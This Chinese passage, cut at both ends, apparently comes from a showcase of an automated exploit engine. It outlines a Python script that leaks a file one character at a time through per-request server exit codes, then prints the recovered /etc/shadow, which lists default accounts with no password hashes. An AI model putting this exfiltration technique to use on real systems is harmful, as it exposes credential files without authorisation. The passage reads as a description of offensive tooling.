- 创建 Python 脚本以自动化文件外传过程。脚本遍历文件内容,为每个字符发送新请求,并从服务器响应中解码退出码。
- 将累积的字符重新组合为完整的
/etc/shadow文件。 /etc/shadow:
root:*:17885:0:99999:7:::
daemon:*:17885:0:99999:7:::
bin:*:17885:0:99999:7:::
sys:*:17885:0:99999:7:::
sync:*:17885:0:99999:7:::
games:*:17885:0:99999:7:::
man:*:17885:0:99999:7:::
lp:*:17885:0:99999:7:::
mail:*:17885:0:99999:7:::
news:*:17885:0:99999:7:::
uucp:*:17885:0:99999:7:::
proxy:*:17885:0:99999:7:::
www-data:*:17885:0:99999:7:::
backup:*:17885:0:99999:7:::
list:*:17885:0:99999:7:::
irc:*:17885:0:99999:7:::
gnats:*:17885:0:99999:7:::
nobody:*:17885:0:99999:7:::
_apt:*:17885:0:99999:7:::
再次运行会得到不同的利用方式和载荷。下面是另一个示例,引擎能够 生成逐字节泄露内容的代码:
